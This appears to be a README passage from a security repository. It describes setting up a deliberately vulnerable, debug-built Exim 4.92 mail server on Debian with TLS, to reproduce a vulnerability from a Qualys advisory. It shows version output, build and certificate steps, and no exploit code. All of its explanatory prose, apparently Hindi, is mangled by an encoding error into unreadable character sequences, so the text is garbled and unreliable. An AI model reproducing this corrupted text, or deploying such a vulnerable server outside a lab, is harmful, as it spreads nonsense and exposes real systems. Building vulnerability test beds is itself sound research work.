рдкрд░реАрдХреНрд╖рдг рдПрдХ debian рдореЗрдВ рдХрд┐рдП рдЧрдП рд╣реИрдВ:

root@kitploit:~
    
    
    root@research:~# lsb_release -a
    No LSB modules are available.
    Distributor ID:	Debian
    Description:	Debian GNU/Linux 10 (buster)
    Release:	10
    Codename:	buster
    

Exim рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рд╛рде:

root@kitploit:~
    
    
    root@research:~# exim --version
    Exim version 4.92 #7 built 06-May-2021 19:31:44
    Copyright (c) University of Cambridge, 1995 - 2018
    (c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
    Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
    Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
    Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
    Authenticators: cram_md5 plaintext
    Routers: accept dnslookup ipliteral manualroute queryprogram redirect
    Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
    Fixed never_users: 0
    Configure owner: 0:0
    Size of off_t: 8
    Configuration file is /var/lib/exim4/config.autogenerated
    

рдореЗрд░рд╛ Exim рд╕рдВрд╕реНрдХрд░рдг рд╕реНрд╡-рд╕рдВрдХрд▓рд┐рдд рд╣реИ, рд▓реЗрдХрд┐рди debian рдореЗрдВ рдореБрдЦреНрдпрдзрд╛рд░рд╛ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрдХрд▓рди рдлреНрд▓реИрдЧреНрд╕ рдХреА рдкреНрд░рддрд┐рдХреГрддрд┐ рдмрдирд╛рддрд╛ рд╣реИред

рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди debian рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд╢рд╛рдпрдж рдХреБрдЫ рдорд╛рдореВрд▓реА рдмрджрд▓рд╛рд╡реЛрдВ рдХреЗ рд╕рд╛рдеред

## рд╡рд╛рддрд╛рд╡рд░рдг рд╕реЗрдЯ рдЕрдк рдХрд░рдирд╛

рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ, `exim-4.92` рдирд╛рдордХ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИред рдпрд╣ exim рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд рдХреЛрдб рд╣реИред

рдкрд╣рд▓реЗ apt рдкреИрдХреЗрдЬ рдореИрдиреЗрдЬрд░ рдХреЗ рд╕рд╛рде exim рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВред

exim рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдФрд░ config рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рдорд╢реАрди рдореЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред

рдкрд╣рд▓реЗ `config/Makefile` рдХреЛ `exim-4.92/Local` рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред рдлрд┐рд░ `config/eximon.conf` рдХреЛ `exim-4.92/Local` рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред

рдЕрдм рд╣рдо `make` рдЪрд▓рд╛рддреЗ рд╣реИрдВ, рдПрдХ `build-linux-*` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдмрдирд╛рдИ рдЬрд╛рдПрдЧреА, рд╣рдо рдЙрд╕рдореЗрдВ рдЬрд╛рдПрдВрдЧреЗ рдФрд░ рд╕рднреА "-O2" рдШрдЯрдирд╛рдУрдВ рдХреЛ "-O0" рд╕реЗ рдмрджрд▓ рджреЗрдВрдЧреЗред

рд╣рдо `OS/` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкрд░ рднреА рдРрд╕рд╛ рд╣реА рдХрд░реЗрдВрдЧреЗред рдЕрдВрдд рдореЗрдВ `build-linux-*` рдореЗрдВ рд╣рдо `CFLAGS` рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ `-g` рдЬреЛрдбрд╝рддреЗ рд╣реИрдВред

gdb рдореЗрдВ libc рдФрд░ exim рд╕реНрд░реЛрдд рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИред

рдЕрдм `make` рдФрд░ `make install`ред

`cp /usr/exim/bin/* /usr/sbin/` `cp /usr/sbin/exim /usr/sbin/exim4`

рдореИрдВрдиреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert

рдЕрдВрдд рдореЗрдВ `/etc/exim4` рдкрд░ exim4 рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ TLS рд╕рдХреНрд╖рдо рдХрд░реЗрдВ рдФрд░ bash рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди `/etc/exim4/exim.crt` рдФрд░ `/etc/exim4/exim.key` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рдЕрдВрдд рдореЗрдВ: `sudo update-exim4.conf && systemctl restart exim4`

рд╕рдм рдХреБрдЫ рд╕рд╣реА рд╣реИ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП `systemctl status exim4` рдЬрд╛рдБрдЪреЗрдВред

рдпрджрд┐ рдЖрдкрдХреЛ `STARTTLS` рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж TLS рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ exim4 рд▓реЙрдЧ рджреЗрдЦреЗрдВред

рдореБрдЭреЗ рдПрдХ рд╕рдорд╕реНрдпрд╛ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рд╛ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рд▓рд┐рдП рдореЗрд░реЗ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХреБрдВрдЬреА рдмрд╣реБрдд рдЫреЛрдЯреА рдереАред рдЗрд╕рд▓рд┐рдП рдкрд╣рд▓реЗ рдЙрд▓реНрд▓рд┐рдЦрд┐рдд gencert рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ рдХреБрдВрдЬреА рдмрд┐рдЯреНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ (рдореИрдВ 4096 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдБ)ред

## рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЖрдзрд┐рдХрд╛рд░рд┐рдХ Qualys рд╕рд▓рд╛рд╣ рдкрд░ рдЬрд╛рдПрдБред